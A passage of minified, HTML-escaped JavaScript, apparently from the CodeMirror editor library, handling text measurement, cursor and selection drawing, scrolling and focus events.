b.cache.hasOwnProperty(g)?f=b.cache[g]:(b.rect||(b.rect=b.view.text.getBoundingClientRect()),b.hasHeights||(Ub(a,b.view,b.rect),b.hasHeights=!0),f=bc(a,b,c,d),f.bogus||(b.cache[g]=f)),{left:f.left,right:f.right,top:e?f.rtop:f.top,bottom:e?f.rbottom:f.bottom}}function _b(a,b,c){for(var d,e,f,g,h,i,j=0;j&lt;a.length;j+=3)if(h=a[j],i=a[j+1],b&lt;h?(e=0,f=1,g=&quot;left&quot;):b&lt;i?(e=b-h,f=e+1):(j==a.length-3||b==i&amp;&amp;a[j+3]&gt;b)&amp;&amp;(f=i-h,e=f-1,b&gt;=i&amp;&amp;(g=&quot;right&quot;)),null!=e){if(d=a[j+2],h==i&amp;&amp;c==(d.insertLeft?&quot;left&quot;:&quot;right&quot;)&amp;&amp;(g=c),&quot;left&quot;==c&amp;&amp;0==e)for(;j&amp;&amp;a[j-2]==a[j-3]&amp;&amp;a[j-1].insertLeft;)d=a[(j-=3)+2],g=&quot;left&quot;;if(&quot;right&quot;==c&amp;&amp;e==i-h)for(;j&lt;a.length-3&amp;&amp;a[j+3]==a[j+4]&amp;&amp;!a[j+5].insertLeft;)d=a[(j+=3)+2],g=&quot;right&quot;;break}return{node:d,start:e,end:f,collapse:g,coverStart:h,coverEnd:i}}function ac(a,b){var c=ph;if(&quot;left&quot;==b)for(var d=0;d&lt;a.length&amp;&amp;(c=a[d]).left==c.right;d++);else for(var e=a.length-1;e&gt;=0&amp;&amp;(c=a[e]).left==c.right;e--);return c}function bc(a,b,c,d){var e,f=_b(b.map,c,d),g=f.node,h=f.start,i=f.end,j=f.collapse;if(3==g.nodeType){for(var k=0;k&lt;4;k++){for(;h&amp;&amp;x(b.line.text.charAt(f.coverStart+h));)--h;for(;f.coverStart+i&lt;f.coverEnd&amp;&amp;x(b.line.text.charAt(f.coverStart+i));)++i;if(e=ng&amp;&amp;og&lt;9&amp;&amp;0==h&amp;&amp;i==f.coverEnd-f.coverStart?g.parentNode.getBoundingClientRect():ac(Dg(g,h,i).getClientRects(),d),e.left||e.right||0==h)break;i=h,h-=1,j=&quot;right&quot;}ng&amp;&amp;og&lt;11&amp;&amp;(e=cc(a.display.measure,e))}else{h&gt;0&amp;&amp;(j=d=&quot;right&quot;);var l;e=a.options.lineWrapping&amp;&amp;(l=g.getClientRects()).length&gt;1?l[&quot;right&quot;==d?l.length-1:0]:g.getBoundingClientRect()}if(ng&amp;&amp;og&lt;9&amp;&amp;!h&amp;&amp;(!e||!e.left&amp;&amp;!e.right)){var m=g.parentNode.getClientRects()[0];e=m?{left:m.left,right:m.left+tc(a.display),top:m.top,bottom:m.bottom}:ph}for(var n=e.top-b.rect.top,o=e.bottom-b.rect.top,p=(n+o)/2,q=b.view.measure.heights,r=0;r&lt;q.length-1&amp;&amp;!(p&lt;q[r]);r++);var s=r?q[r-1]:0,t=q[r],u={left:(&quot;right&quot;==j?e.right:e.left)-b.rect.left,right:(&quot;left&quot;==j?e.left:e.right)-b.rect.left,top:s,bottom:t};return e.left||e.right||(u.bogus=!0),a.options.singleCursorHeightPerLine||(u.rtop=n,u.rbottom=o),u}function cc(a,b){if(!window.screen||null==screen.logicalXDPI||screen.logicalXDPI==screen.deviceXDPI||!Ra(a))return b;var c=screen.logicalXDPI/screen.deviceXDPI,d=screen.logicalYDPI/screen.deviceYDPI;return{left:b.left*c,right:b.right*c,top:b.top*d,bottom:b.bottom*d}}function dc(a){if(a.measure&amp;&amp;(a.measure.cache={},a.measure.heights=null,a.rest))for(var b=0;b&lt;a.rest.length;b++)a.measure.caches[b]={}}function ec(a){a.display.externalMeasure=null,b(a.display.lineMeasure);for(var c=0;c&lt;a.display.view.length;c++)dc(a.display.view[c])}function fc(a){ec(a),a.display.cachedCharWidth=a.display.cachedTextHeight=a.display.cachedPaddingH=null,a.options.lineWrapping||(a.display.maxLineChanged=!0),a.display.lineNumChars=null}function gc(){return rg&amp;&amp;xg?-(document.body.getBoundingClientRect().left-parseInt(getComputedStyle(document.body).marginLeft)):window.pageXOffset||(document.documentElement||document.body).scrollLeft}function hc(){return rg&amp;&amp;xg?-(document.body.getBoundingClientRect().top-parseInt(getComputedStyle(document.body).marginTop)):window.pageYOffset||(document.documentElement||document.body).scrollTop}function ic(a,b,c,d,e){if(!e&amp;&amp;b.widgets)for(var f=0;f&lt;b.widgets.length;++f)if(b.widgets[f].above){var g=Mb(b.widgets[f]);c.top+=g,c.bottom+=g}if(&quot;line&quot;==d)return c;d||(d=&quot;local&quot;);var h=sa(b);if(&quot;local&quot;==d?h+=Ob(a.display):h-=a.display.viewOffset,&quot;page&quot;==d||&quot;window&quot;==d){var i=a.display.lineSpace.getBoundingClientRect();h+=i.top+(&quot;window&quot;==d?0:hc());var j=i.left+(&quot;window&quot;==d?0:gc());c.left+=j,c.right+=j}return c.top+=h,c.bottom+=h,c}function jc(a,b,c){if(&quot;div&quot;==c)return b;var d=b.left,e=b.top;if(&quot;page&quot;==c)d-=gc(),e-=hc();else if(&quot;local&quot;==c||!c){var f=a.display.sizer.getBoundingClientRect();d+=f.left,e+=f.top}var g=a.display.lineSpace.getBoundingClientRect();return{left:d-g.left,top:e-g.top}}function kc(a,b,c,d,e){return d||(d=B(a.doc,b.line)),ic(a,d,Xb(a,d,b.ch,e),c)}function lc(a,b,c,d,e,f){function g(b,g){var h=$b(a,e,b,g?&quot;right&quot;:&quot;left&quot;,f);return g?h.left=h.right:h.right=h.left,ic(a,d,h,c)}function h(a,b,c){var d=i[b],e=d.level%2!=0;return g(c?a-1:a,e!=c)}d=d||B(a.doc,b.line),e||(e=Zb(a,d));var i=xa(d,a.doc.direction),j=b.ch,k=b.sticky;if(j&gt;=d.text.length?(j=d.text.length,k=&quot;before&quot;):j&lt;=0&amp;&amp;(j=0,k=&quot;after&quot;),!i)return g(&quot;before&quot;==k?j-1:j,&quot;before&quot;==k);var l=wa(i,j,k),m=Vg,n=h(j,l,&quot;before&quot;==k);return null!=m&amp;&amp;(n.other=h(j,m,&quot;before&quot;!=k)),n}function mc(a,b){var c=0;b=Q(a.doc,b),a.options.lineWrapping||(c=tc(a.display)*b.ch);var d=B(a.doc,b.line),e=sa(d)+Ob(a.display);return{left:c,right:c,top:e,bottom:e+d.height}}function nc(a,b,c,d,e){var f=J(a,b,c);return f.xRel=e,d&amp;&amp;(f.outside=!0),f}function oc(a,b,c){var d=a.doc;if(c+=a.display.viewOffset,c&lt;0)return nc(d.first,0,null,!0,-1);var e=G(d,c),f=d.first+d.size-1;if(e&gt;f)return nc(d.first+d.size-1,B(d,f).text.length,null,!0,1);b&lt;0&amp;&amp;(b=0);for(var g=B(d,e);;){var h=rc(a,g,e,b,c),i=ja(g),j=i&amp;&amp;i.find(0,!0);if(!i||!(h.ch&gt;j.from.ch||h.ch==j.from.ch&amp;&amp;h.xRel&gt;0))return h;e=F(g=j.to.line)}}function pc(a,b,c,d){var e=function(d){return ic(a,b,$b(a,c,d),&quot;line&quot;)},f=b.text.length,g=z(function(a){return e(a-1).bottom&lt;=d},f,0);return f=z(function(a){return e(a).top&gt;d},g,f),{begin:g,end:f}}function qc(a,b,c,d){var e=ic(a,b,$b(a,c,d),&quot;line&quot;).top;return pc(a,b,c,e)}function rc(a,b,c,d,e){e-=sa(b);var f,g=0,h=b.text.length,i=Zb(a,b),j=xa(b,a.doc.direction);if(j){if(a.options.lineWrapping){var k;k=pc(a,b,i,e),g=k.begin,h=k.end}f=new J(c,Math.floor(g+(h-g)/2));var l,m,n=lc(a,f,&quot;line&quot;,b,i).left,o=n&lt;d?1:-1,p=n-d,q=Math.ceil((h-g)/4);a:do{l=p,m=f;for(var r=0;r&lt;q;++r){var s=f;if(f=Ba(a,b,f,o),null==f||f.ch&lt;g||h&lt;=(&quot;before&quot;==f.sticky?f.ch-1:f.ch)){f=s;break a}}if(p=lc(a,f,&quot;line&quot;,b,i).left-d,q&gt;1){var t=Math.abs(p-l)/q;q=Math.min(q,Math.ceil(Math.abs(p)/t)),o=p&lt;0?1:-1}}while(0!=p&amp;&amp;(q&gt;1||o&lt;0!=p&lt;0&amp;&amp;Math.abs(p)&lt;=Math.abs(l)));if(Math.abs(p)&gt;Math.abs(l)){if(p&lt;0==l&lt;0)throw new Error(&quot;Broke out of infinite loop in coordsCharInner&quot;);f=m}}else{var u=z(function(c){var f=ic(a,b,$b(a,i,c),&quot;line&quot;);return f.top&gt;e?(h=Math.min(c,h),!0):!(f.bottom&lt;=e)&amp;&amp;(f.left&gt;d||!(f.right&lt;d)&amp;&amp;d-f.left&lt;f.right-d)},g,h);u=y(b.text,u,1),f=new J(c,u,u==h?&quot;before&quot;:&quot;after&quot;)}var v=lc(a,f,&quot;line&quot;,b,i);return(e&lt;v.top||v.bottom&lt;e)&amp;&amp;(f.outside=!0),f.xRel=d&lt;v.left?-1:d&gt;v.right?1:0,f}function sc(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;if(null==kh){kh=d(&quot;pre&quot;);for(var e=0;e&lt;49;++e)kh.appendChild(document.createTextNode(&quot;x&quot;)),kh.appendChild(d(&quot;br&quot;));kh.appendChild(document.createTextNode(&quot;x&quot;))}c(a.measure,kh);var f=kh.offsetHeight/50;return f&gt;3&amp;&amp;(a.cachedTextHeight=f),b(a.measure),f||1}function tc(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;var b=d(&quot;span&quot;,&quot;xxxxxxxxxx&quot;),e=d(&quot;pre&quot;,[b]);c(a.measure,e);var f=b.getBoundingClientRect(),g=(f.right-f.left)/10;return g&gt;2&amp;&amp;(a.cachedCharWidth=g),g||10}function uc(a){for(var b=a.display,c={},d={},e=b.gutters.clientLeft,f=b.gutters.firstChild,g=0;f;f=f.nextSibling,++g)c[a.options.gutters[g]]=f.offsetLeft+f.clientLeft+e,d[a.options.gutters[g]]=f.clientWidth;return{fixedPos:vc(b),gutterTotalWidth:b.gutters.offsetWidth,gutterLeft:c,gutterWidth:d,wrapperWidth:b.wrapper.clientWidth}}function vc(a){return a.scroller.getBoundingClientRect().left-a.sizer.getBoundingClientRect().left}function wc(a){var b=sc(a.display),c=a.options.lineWrapping,d=c&amp;&amp;Math.max(5,a.display.scroller.clientWidth/tc(a.display)-3);return function(e){if(qa(a.doc,e))return 0;var f=0;if(e.widgets)for(var g=0;g&lt;e.widgets.length;g++)e.widgets[g].height&amp;&amp;(f+=e.widgets[g].height);return c?f+(Math.ceil(e.text.length/d)||1)*b:f+b}}function xc(a){var b=a.doc,c=wc(a);b.iter(function(a){var b=c(a);b!=a.height&amp;&amp;E(a,b)})}function yc(a,b,c,d){var e=a.display;if(!c&amp;&amp;&quot;true&quot;==Na(b).getAttribute(&quot;cm-not-content&quot;))return null;var f,g,h=e.lineSpace.getBoundingClientRect();try{f=b.clientX-h.left,g=b.clientY-h.top}catch(b){return null}var i,j=oc(a,f,g);if(d&amp;&amp;1==j.xRel&amp;&amp;(i=B(a.doc,j.line).text).length==j.ch){var k=l(i,i.length,a.options.tabSize)-i.length;j=J(j.line,Math.max(0,Math.round((f-Qb(a.display).left)/tc(a.display))-k))}return j}function zc(a,b){if(b&gt;=a.display.viewTo)return null;if(b-=a.display.viewFrom,b&lt;0)return null;for(var c=a.display.view,d=0;d&lt;c.length;d++)if(b-=c[d].size,b&lt;0)return d}function Ac(a){a.display.input.showSelection(a.display.input.prepareSelection())}function Bc(a,b){for(var c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),f=d.selection=document.createDocumentFragment(),g=0;g&lt;c.sel.ranges.length;g++)if(b!==!1||g!=c.sel.primIndex){var h=c.sel.ranges[g];if(!(h.from().line&gt;=a.display.viewTo||h.to().line&lt;a.display.viewFrom)){var i=h.empty();(i||a.options.showCursorWhenSelecting)&amp;&amp;Cc(a,h.head,e),i||Ec(a,h,f)}}return d}function Cc(a,b,c){var e=lc(a,b,&quot;div&quot;,null,null,!a.options.singleCursorHeightPerLine),f=c.appendChild(d(&quot;div&quot;,&quot;\xa0&quot;,&quot;CodeMirror-cursor&quot;));if(f.style.left=e.left+&quot;px&quot;,f.style.top=e.top+&quot;px&quot;,f.style.height=Math.max(0,e.bottom-e.top)*a.options.cursorHeight+&quot;px&quot;,e.other){var g=c.appendChild(d(&quot;div&quot;,&quot;\xa0&quot;,&quot;CodeMirror-cursor CodeMirror-secondarycursor&quot;));g.style.display=&quot;&quot;,g.style.left=e.other.left+&quot;px&quot;,g.style.top=e.other.top+&quot;px&quot;,g.style.height=.85*(e.other.bottom-e.other.top)+&quot;px&quot;}}function Dc(a,b){return a.top-b.top||a.left-b.left}function Ec(a,b,c){
function e(a,b,c,e){b&lt;0&amp;&amp;(b=0),b=Math.round(b),e=Math.round(e),i.appendChild(d(&quot;div&quot;,null,&quot;CodeMirror-selected&quot;,&quot;position: absolute; left: &quot;+a+&quot;px;\n                             top: &quot;+b+&quot;px; width: &quot;+(null==c?l-a:c)+&quot;px;\n                             height: &quot;+(e-b)+&quot;px&quot;))}function f(b,c,d){function f(c,d){return kc(a,J(b,c),&quot;div&quot;,j,d)}var g,i,j=B(h,b),m=j.text.length;return va(xa(j,h.direction),c||0,null==d?m:d,function(a,b,h){var j,n;if(&quot;ltr&quot;==h){j=f(a,&quot;left&quot;),n=f(b-1,&quot;right&quot;);var o=null==c&amp;&amp;0==a?k:j.left,p=null==d&amp;&amp;b==m?l:n.right;n.top-j.top&lt;=3?e(o,n.top,p-o,n.bottom):(e(o,j.top,null,j.bottom),j.bottom&lt;n.top&amp;&amp;e(k,j.bottom,null,n.top),e(k,n.top,n.right,n.bottom))}else{j=f(a,&quot;right&quot;),n=f(b-1,&quot;left&quot;);var q=null==c&amp;&amp;0==a?l:j.right,r=null==d&amp;&amp;b==m?k:n.left;n.top-j.top&lt;=3?e(r,n.top,q-r,n.bottom):(e(k,j.top,q-k,j.bottom),j.bottom&lt;n.top&amp;&amp;e(k,j.bottom,null,n.top),e(r,n.top,null,n.bottom))}(!g||Dc(j,g)&lt;0)&amp;&amp;(g=j),Dc(n,g)&lt;0&amp;&amp;(g=n),(!i||Dc(j,i)&lt;0)&amp;&amp;(i=j),Dc(n,i)&lt;0&amp;&amp;(i=n)}),{start:g,end:i}}var g=a.display,h=a.doc,i=document.createDocumentFragment(),j=Qb(a.display),k=j.left,l=Math.max(g.sizerWidth,Sb(a)-g.sizer.offsetLeft)-j.right,m=b.from(),n=b.to();if(m.line==n.line)f(m.line,m.ch,n.ch);else{var o=B(h,m.line),p=B(h,n.line),q=la(o)==la(p),r=f(m.line,m.ch,q?o.text.length+1:null).end,s=f(n.line,q?0:null,n.ch).start;q&amp;&amp;(r.top&lt;s.top-2?(e(r.right,r.top,null,r.bottom),e(k,s.top,s.left,s.bottom)):e(r.right,r.top,s.left-r.right,r.bottom)),r.bottom&lt;s.top&amp;&amp;e(k,r.bottom,null,s.top)}c.appendChild(i)}function Fc(a){if(a.state.focused){var b=a.display;clearInterval(b.blinker);var c=!0;b.cursorDiv.style.visibility=&quot;&quot;,a.options.cursorBlinkRate&gt;0?b.blinker=setInterval(function(){return b.cursorDiv.style.visibility=(c=!c)?&quot;&quot;:&quot;hidden&quot;},a.options.cursorBlinkRate):a.options.cursorBlinkRate&lt;0&amp;&amp;(b.cursorDiv.style.visibility=&quot;hidden&quot;)}}function Gc(a){a.state.focused||(a.display.input.focus(),Ic(a))}function Hc(a){a.state.delayingBlurEvent=!0,setTimeout(function(){a.state.delayingBlurEvent&amp;&amp;(a.state.delayingBlurEvent=!1,Jc(a))},100)}function Ic(a,b){a.state.delayingBlurEvent&amp;&amp;(a.state.delayingBlurEvent=!1),&quot;nocursor&quot;!=a.options.readOnly&amp;&amp;(a.state.focused||(Ea(a,&quot;focus&quot;,a,b),a.state.focused=!0,h(a.display.wrapper,&quot;CodeMirror-focused&quot;),a.curOp||a.display.selForContextMenu==a.doc.sel||(a.display.input.reset(),pg&amp;&amp;setTimeout(function(){return a.display.input.reset(!0)},20)),a.display.input.receivedFocus()),Fc(a))}function Jc(a,b){a.state.delayingBlurEvent||(a.state.focused&amp;&amp;(Ea(a,&quot;blur&quot;,a,b),a.state.focused=!1,Gg(a.display.wrapper,&quot;CodeMirror-focused&quot;)),clearInterval(a.display.blinker),setTimeout(function(){a.state.focused||(a.display.shift=!1)},150))}function Kc(a){for(var b=a.display,c=b.lineDiv.offsetTop,d=0;d&lt;b.view.length;d++){var e=b.view[d],f=void 0;if(!e.hidden){if(ng&amp;&amp;og&lt;8){var g=e.node.offsetTop+e.node.offsetHeight;f=g-c,c=g}else{var h=e.node.getBoundingClientRect();f=h.bottom-h.top}var i=e.line.height-f;if(f&lt;2&amp;&amp;(f=sc(b)),(i&gt;.005||i&lt;-.005)&amp;&amp;(E(e.line,f),Lc(e.line),e.rest))for(var j=0;j&lt;e.rest.length;j++)Lc(e.rest[j])}}}function Lc(a){if(a.widgets)for(var b=0;b&lt;a.widgets.length;++b)a.widgets[b].height=a.widgets[b].node.parentNode.offsetHeight}function Mc(a,b,c){var d=c&amp;&amp;null!=c.top?Math.max(0,c.top):a.scroller.scrollTop;d=Math.floor(d-Ob(a));var e=c&amp;&amp;null!=c.bottom?c.bottom:d+a.wrapper.clientHeight,f=G(b,d),g=G(b,e);if(c&amp;&amp;c.ensure){var h=c.ensure.from.line,i=c.ensure.to.line;h&lt;f?(f=h,g=G(b,sa(B(b,h))+a.wrapper.clientHeight)):Math.min(i,b.lastLine())&gt;=g&amp;&amp;(f=G(b,sa(B(b,i))-a.wrapper.clientHeight),g=i)}return{from:f,to:Math.max(g,f+1)}}function Nc(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&amp;&amp;a.options.fixedGutter){for(var d=vc(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,f=d+&quot;px&quot;,g=0;g&lt;c.length;g++)if(!c[g].hidden){a.options.fixedGutter&amp;&amp;(c[g].gutter&amp;&amp;(c[g].gutter.style.left=f),c[g].gutterBackground&amp;&amp;(c[g].gutterBackground.style.left=f));var h=c[g].alignable;if(h)for(var i=0;i&lt;h.length;i++)h[i].style.left=f}a.options.fixedGutter&amp;&amp;(b.gutters.style.left=d+e+&quot;px&quot;)}}function Oc(a){if(!a.options.lineNumbers)return!1;var b=a.doc,c=I(a.options,b.first+b.size-1),e=a.display;if(c.length!=e.lineNumChars){var f=e.measure.appendChild(d(&quot;div&quot;,[d(&quot;div&quot;,c)],&quot;CodeMirror-linenumber CodeMirror-gutter-elt&quot;)),g=f.firstChild.offsetWidth,h=f.offsetWidth-g;return e.lineGutter.style.width=&quot;&quot;,e.lineNumInnerWidth=Math.max(g,e.lineGutter.offsetWidth-h)+1,e.lineNumWidth=e.lineNumInnerWidth+h,e.lineNumChars=e.lineNumInnerWidth?c.length:-1,e.lineGutter.style.width=e.lineNumWidth+&quot;px&quot;,Fd(a),!0}return!1}function Pc(a,b){if(!Fa(a,&quot;scrollCursorIntoView&quot;)){var c=a.display,e=c.sizer.getBoundingClientRect(),f=null;if(b.top+e.top&lt;0?f=!0:b.bottom+e.top&gt;(window.innerHeight||document.documentElement.clientHeight)&amp;&amp;(f=!1),null!=f&amp;&amp;!vg){var g=d(&quot;div&quot;,&quot;\u200b&quot;,null,&quot;position: absolute;\n                         top: &quot;+(b.top-c.viewOffset-Ob(a.display))+&quot;px;\n                         height: &quot;+(b.bottom-b.top+Rb(a)+c.barHeight)+&quot;px;\n                         left: &quot;+b.left+&quot;px; width: &quot;+Math.max(2,b.right-b.left)+&quot;px;&quot;);a.display.lineSpace.appendChild(g),g.scrollIntoView(f),a.display.lineSpace.removeChild(g)}}}function Qc(a,b,c,d){null==d&amp;&amp;(d=0);var e;a.options.lineWrapping||b!=c||(b=b.ch?J(b.line,&quot;before&quot;==b.sticky?b.ch-1:b.ch,&quot;after&quot;):b,c=&quot;before&quot;==b.sticky?J(b.line,b.ch+1,&quot;before&quot;):b);for(var f=0;f&lt;5;f++){var g=!1,h=lc(a,b),i=c&amp;&amp;c!=b?lc(a,c):h;e={left:Math.min(h.left,i.left),top:Math.min(h.top,i.top)-d,right:Math.max(h.left,i.left),bottom:Math.max(h.bottom,i.bottom)+d};var j=Sc(a,e),k=a.doc.scrollTop,l=a.doc.scrollLeft;if(null!=j.scrollTop&amp;&amp;(Zc(a,j.scrollTop),Math.abs(a.doc.scrollTop-k)&gt;1&amp;&amp;(g=!0)),null!=j.scrollLeft&amp;&amp;(_c(a,j.scrollLeft),Math.abs(a.doc.scrollLeft-l)&gt;1&amp;&amp;(g=!0)),!g)break}return e}function Rc(a,b){var c=Sc(a,b);null!=c.scrollTop&amp;&amp;Zc(a,c.scrollTop),null!=c.scrollLeft&amp;&amp;_c(a,c.scrollLeft)}function Sc(a,b){var c=a.display,d=sc(a.display);b.top&lt;0&amp;&amp;(b.top=0);var e=a.curOp&amp;&amp;null!=a.curOp.scrollTop?a.curOp.scrollTop:c.scroller.scrollTop,f=Tb(a),g={};b.bottom-b.top&gt;f&amp;&amp;(b.bottom=b.top+f);var h=a.doc.height+Pb(c),i=b.top&lt;d,j=b.bottom&gt;h-d;if(b.top&lt;e)g.scrollTop=i?0:b.top;else if(b.bottom&gt;e+f){var k=Math.min(b.top,(j?h:b.bottom)-f);k!=e&amp;&amp;(g.scrollTop=k)}var l=a.curOp&amp;&amp;null!=a.curOp.scrollLeft?a.curOp.scrollLeft:c.scroller.scrollLeft,m=Sb(a)-(a.options.fixedGutter?c.gutters.offsetWidth:0),n=b.right-b.left&gt;m;return n&amp;&amp;(b.right=b.left+m),b.left&lt;10?g.scrollLeft=0:b.left&lt;l?g.scrollLeft=Math.max(0,b.left-(n?0:10)):b.right&gt;m+l-3&amp;&amp;(g.scrollLeft=b.right+(n?0:10)-m),g}function Tc(a,b){null!=b&amp;&amp;(Xc(a),a.curOp.scrollTop=(null==a.curOp.scrollTop?a.doc.scrollTop:a.curOp.scrollTop)+b)}function Uc(a){Xc(a);var b=a.getCursor();a.curOp.scrollToPos={from:b,to:b,margin:a.options.cursorScrollMargin}}function Vc(a,b,c){null==b&amp;&amp;null==c||Xc(a),null!=b&amp;&amp;(a.curOp.scrollLeft=b),null!=c&amp;&amp;(a.curOp.scrollTop=c)}function Wc(a,b){Xc(a),a.curOp.scrollToPos=b}function Xc(a){var b=a.curOp.scrollToPos;if(b){a.curOp.scrollToPos=null;var c=mc(a,b.from),d=mc(a,b.to);Yc(a,c,d,b.margin)}}function Yc(a,b,c,d){var e=Sc(a,{left:Math.min(b.left,c.left),top:Math.min(b.top,c.top)-d,right:Math.max(b.right,c.right),bottom:Math.max(b.bottom,c.bottom)+d});Vc(a,e.scrollLeft,e.scrollTop)}function Zc(a,b){Math.abs(a.doc.scrollTop-b)&lt;2||(jg||Dd(a,{top:b}),$c(a,b,!0),jg&amp;&amp;Dd(a),wd(a,100))}function $c(a,b,c){b=Math.min(a.display.scroller.scrollHeight-a.display.scroller.clientHeight,b),(a.display.scroller.scrollTop!=b||c)&amp;&amp;(a.doc.scrollTop=b,a.display.scrollbars.setScrollTop(b),a.display.scroller.scrollTop!=b&amp;&amp;(a.display.scroller.scrollTop=b))}function _c(a,b,c,d){b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth),(c?b==a.doc.scrollLeft:Math.abs(a.doc.scrollLeft-b)&lt;2)&amp;&amp;!d||(a.doc.scrollLeft=b,Nc(a),a.display.scroller.scrollLeft!=b&amp;&amp;(a.display.scroller.scrollLeft=b),a.display.scrollbars.setScrollLeft(b))}function ad(a){var b=a.display,c=b.gutters.offsetWidth,d=Math.round(a.doc.height+Pb(a.display));return{clientHeight:b.scroller.clientHeight,viewHeight:b.wrapper.clientHeight,scrollWidth:b.scroller.scrollWidth,clientWidth:b.scroller.clientWidth,viewWidth:b.wrapper.clientWidth,barLeft:a.options.fixedGutter?c:0,docHeight:d,scrollHeight:d+Rb(a)+b.barHeight,nativeBarWidth:b.nativeBarWidth,gutterWidth:c}}function bd(a,b){b||(b=ad(a));var c=a.display.barWidth,d=a.display.barHeight;cd(a,b);for(var e=0;e&lt;4&amp;&amp;c!=a.display.barWidth||d!=a.display.barHeight;e++)c!=a.display.barWidth&amp;&amp;a.options.lineWrapping&amp;&amp;Kc(a),cd(a,ad(a)),c=a.display.barWidth,d=a.display.barHeight}function cd(a,b){var c=a.display,d=c.scrollbars.update(b);c.sizer.style.paddingRight=(c.barWidth=d.right)+&quot;px&quot;,c.sizer.style.paddingBottom=(c.barHeight=d.bottom)+&quot;px&quot;,c.heightForcer.style.borderBottom=d.bottom+&quot;px solid transparent&quot;,d.right&amp;&amp;d.bottom?(c.scrollbarFiller.style.display=&quot;block&quot;,c.scrollbarFiller.style.height=d.bottom+&quot;px&quot;,c.scrollbarFiller.style.width=d.right+&quot;px&quot;):c.scrollbarFiller.style.display=&quot;&quot;,d.bottom&amp;&amp;a.options.coverGutterNextToScrollbar&amp;&amp;a.options.fixedGutter?(c.gutterFiller.style.display=&quot;block&quot;,c.gutterFiller.style.height=d.bottom+&quot;px&quot;,c.gutterFiller.style.width=b.gutterWidth+&quot;px&quot;):c.gutterFiller.style.display=&quot;&quot;}function dd(a){a.display.scrollbars&amp;&amp;(a.display.scrollbars.clear(),a.display.scrollbars.addClass&amp;&amp;Gg(a.display.wrapper,a.display.scrollbars.addClass)),a.display.scrollbars=new sh[a.options.scrollbarStyle](function(b){a.display.wrapper.insertBefore(b,a.display.scrollbarFiller),Yg(b,&quot;mousedown&quot;,function(){a.state.focused&amp;&amp;setTimeout(function(){return a.display.input.focus()},0)}),b.setAttribute(&quot;cm-not-content&quot;,&quot;true&quot;)},function(b,c){&quot;horizontal&quot;==c?_c(a,b):Zc(a,b)},a),a.display.scrollbars.addClass&amp;&amp;h(a.display.wrapper,a.display.scrollbars.addClass)}function ed(a){a.curOp={cm:a,viewChanged:!1,startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,focus:!1,id:++th},vb(a.curOp)}function fd(a){var b=a.curOp;xb(b,function(a){for(var b=0;b&lt;a.ops.length;b++)a.ops[b].cm.curOp=null;gd(a)})}function gd(a){for(var b=a.ops,c=0;c&lt;b.length;c++)hd(b[c]);for(var d=0;d&lt;b.length;d++)id(b[d]);for(var e=0;e&lt;b.length;e++)jd(b[e]);for(var f=0;f&lt;b.length;f++)kd(b[f]);for(var g=0;g&lt;b.length;g++)ld(b[g])}function hd(a){var b=a.cm,c=b.display;yd(b),a.updateMaxLine&amp;&amp;ua(b),a.mustUpdate=a.viewChanged||a.forceUpdate||null!=a.scrollTop||a.scrollToPos&amp;&amp;(a.scrollToPos.from.line&lt;c.viewFrom||a.scrollToPos.to.line&gt;=c.viewTo)||c.maxLineChanged&amp;&amp;b.options.lineWrapping,a.update=a.mustUpdate&amp;&amp;new uh(b,a.mustUpdate&amp;&amp;{top:a.scrollTop,ensure:a.scrollToPos},a.forceUpdate)}function id(a){a.updatedDisplay=a.mustUpdate&amp;&amp;Bd(a.cm,a.update)}function jd(a){var b=a.cm,c=b.display;a.updatedDisplay&amp;&amp;Kc(b),a.barMeasure=ad(b),c.maxLineChanged&amp;&amp;!b.options.lineWrapping&amp;&amp;(a.adjustWidthTo=Xb(b,c.maxLine,c.maxLine.text.length).left+3,b.display.sizerWidth=a.adjustWidthTo,a.barMeasure.scrollWidth=Math.max(c.scroller.clientWidth,c.sizer.offsetLeft+a.adjustWidthTo+Rb(b)+b.display.barWidth),a.maxScrollLeft=Math.max(0,c.sizer.offsetLeft+a.adjustWidthTo-Sb(b))),(a.updatedDisplay||a.selectionChanged)&amp;&amp;(a.preparedSelection=c.input.prepareSelection(a.focus))}function kd(a){var b=a.cm;null!=a.adjustWidthTo&amp;&amp;(b.display.sizer.style.minWidth=a.adjustWidthTo+&quot;px&quot;,a.maxScrollLeft&lt;b.doc.scrollLeft&amp;&amp;_c(b,Math.min(b.display.scroller.scrollLeft,a.maxScrollLeft),!0),b.display.maxLineChanged=!1);var c=a.focus&amp;&amp;a.focus==g()&amp;&amp;(!document.hasFocus||document.hasFocus());a.preparedSelection&amp;&amp;b.display.input.showSelection(a.preparedSelection,c),(a.updatedDisplay||a.startHeight!=b.doc.height)&amp;&amp;bd(b,a.barMeasure),a.updatedDisplay&amp;&amp;Gd(b,a.barMeasure),a.selectionChanged&amp;&amp;Fc(b),b.state.focused&amp;&amp;a.updateInput&amp;&amp;b.display.input.reset(a.typing),c&amp;&amp;Gc(a.cm)}function ld(a){var b=a.cm,c=b.display,d=b.doc;if(a.updatedDisplay&amp;&amp;Cd(b,a.update),null==c.wheelStartX||null==a.scrollTop&amp;&amp;null==a.scrollLeft&amp;&amp;!a.scrollToPos||(c.wheelStartX=c.wheelStartY=null),null!=a.scrollTop&amp;&amp;$c(b,a.scrollTop,a.forceScroll),null!=a.scrollLeft&amp;&amp;_c(b,a.scrollLeft,!0,!0),a.scrollToPos){var e=Qc(b,Q(d,a.scrollToPos.from),Q(d,a.scrollToPos.to),a.scrollToPos.margin);Pc(b,e)}var f=a.maybeHiddenMarkers,g=a.maybeUnhiddenMarkers;if(f)for(var h=0;h&lt;f.length;++h)f[h].lines.length||Ea(f[h],&quot;hide&quot;);if(g)for(var i=0;i&lt;g.length;++i)g[i].lines.length&amp;&amp;Ea(g[i],&quot;unhide&quot;);c.wrapper.offsetHeight&amp;&amp;(d.scrollTop=b.display.scroller.scrollTop),a.changeObjs&amp;&amp;Ea(b,&quot;changes&quot;,b,a.changeObjs),a.update&amp;&amp;a.update.finish()}function md(a,b){if(a.curOp)return b();ed(a);try{return 